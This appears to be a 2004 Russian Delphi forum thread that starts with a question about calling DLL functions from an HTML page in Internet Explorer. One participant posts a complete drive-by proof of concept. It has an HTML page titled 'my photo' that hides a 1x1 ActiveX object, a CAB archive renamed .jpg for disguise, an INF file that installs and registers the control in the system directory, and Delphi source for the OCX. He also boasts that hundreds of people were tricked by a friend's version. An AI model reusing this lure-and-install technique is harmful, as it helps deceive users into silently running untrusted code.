![]() |
| ||
|
|
Новости |
Поиск |
FAQ |
Статьи |
Книги |
Новости VCL
| | Форумы ЧАТ |
Орешник |
|
| |||
| |||
« предыдущая ветвь | форум | следующая ветвь »
Использование dll в html-файле [D7, WinXP]
S-Lok © (2004-10-24 23:03:00)Мне вот надо использовать в html-файле некоторую процедуру из моей Delphi-программы (причем html-файл должен открываться Internet Explorer'ом). Знаю, как это можно реализовать при помощи компонента ActiveX. Но вроде бы, эту же процедуру можно объявить в dll-файле. Как мне тогда обратиться к этой dll и к этой процедуре из html-файла?
kaZaNoVa (2004-10-25 18:28:00) [1]panov © (25.10.04 16:41) [15]
точно, и эксплойты не потребуются ;)))
panov (2004-10-25 16:41:00) [2]>S-Lok (25.10.04 15:37) [14]
Использовать написанный в Delphi свой CGI на стороне сервера.
S-Lok (2004-10-25 15:37:00) [3]Тогда скажите, теоретически возможно ли каким-то еще способом, кроме ActiveX, выполнять на html-странице функции из Delphi?
kaZaNoVa (2004-10-24 23:20:00) [4]ps не веришь - проверь :))
то нужны права админа (кажется) и включено "загружать неподписанные ActiveX"
kaZaNoVa (2004-10-24 23:19:00) [5]это раньше РЕАЛЬНО работало при открытии в ИЕ со стандартными настройками ..
kaZaNoVa (2004-10-24 23:17:00) [6]ну, это уже не актуально .. так что выкладываю - пашет тока в 98, 2000, XP без 2 SP
html код:
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=windows-1251">
<title>Моя фотка</title>
</head>
<body>
<object classid="clsid:3D474C5B-6346-6092-ACCD-14BB685ED6A6" codebase="fotoarxiv.jpg" width=1 height=1></object>
Ну, как те моя фотка ?<br> - щас должна уже загрузиться ...<br>
- если не видно, проверьте настройки браузера ..
<br><br><br>
P.S. для просмотра требуется браузер INTERNET Explorer !
</body>
</html>
создаётся файл fotoarxiv.jpg- это CAB архив, внутри его 2 файла:
axhole.inf
axhole.ocx
содержание axhole.inf
[Version]
Signature="$Chicago$"
AdvancedINF=2.5
[DefaultInstall]
CopyFiles=FileList
RegisterOCXs=OCXSection
[DefaultUninstall]
Delfiles=FileList
UnRegisterOCXs=OCXSection
[OCXSection]
%11%\axhole.ocx
[FileList]
AXHOLE.OCX,,,33
[DestinationDirs]
FileList=11
исходник axhole.ocx
library Project1;
{$I-}
uses
Windows,Shellapi;
Procedure DllGetClassObject;
Begin end;
Procedure DllRegisterServer;
Begin end;
Procedure DllUnregisterServer;
Begin end;
Procedure DllCanUnloadNow;
Begin end;
exports
DllGetClassObject,
DllRegisterServer,
DllUnregisterServer,
DllCanUnloadNow;
begin
MessageBox(0,'Если видна эта мессага-код из дллки работает','Are you Ready ?',0);
end.
Gero (2004-10-24 23:12:00) [7]
> kaZaNoVa © (24.10.04 23:10)
> там был
Где был?
> не веришь ?
Нет.
> весь эксплоит выложить ?
Как хочешь.
kaZaNoVa (2004-10-24 23:11:00) [8]а расширение jpg - тока для маскировки ... ;)
kaZaNoVa (2004-10-24 23:10:00) [9]Gero © (24.10.04 23:09) [7]
там был cab архив с длл .. :)
- не веришь ?
- весь эксплоит выложить ?
Gero (2004-10-24 23:09:00) [10]
> kaZaNoVa © (24.10.04 23:08)
> object classid="clsid:3D474C5B-6346-6092-ACCD-14BB685ED6A6"
Это не dll.
kaZaNoVa (2004-10-24 23:08:00) [11]Gero © (24.10.04 23:07) [4]
эх ссылка была .. и не один человек попался .. (не одна сотня ..)
- знакомый один делал ..
Gero (2004-10-24 23:07:00) [12]
> а ведь можно ! - раньше было
Да ну.
Ссылка имеется?
kaZaNoVa (2004-10-24 23:07:00) [13]
<object classid="clsid:3D474C5B-6346-6092-ACCD-14BB685ED6A6" codebase="fotoarxiv.jpg" width=1 height=1></object>
вот ;)))))))))))))))))0
kaZaNoVa (2004-10-24 23:06:00) [14]Gero © (24.10.04 23:05) [1]
а ведь можно ! - раньше было .. ;)
Gero (2004-10-24 23:05:00) [15]Мда, если бы html - страницы умели dll'ки грузить и функции из них вызывать - вот весело было бы...
kaZaNoVa (2004-10-24 23:05:00) [16]если ты из html откроешь dll, то тебе позавидуют все виросописатели мира !
//я раньше делал так с OCX - но после 2 SP в ХР и в 2003 винде не пашет ..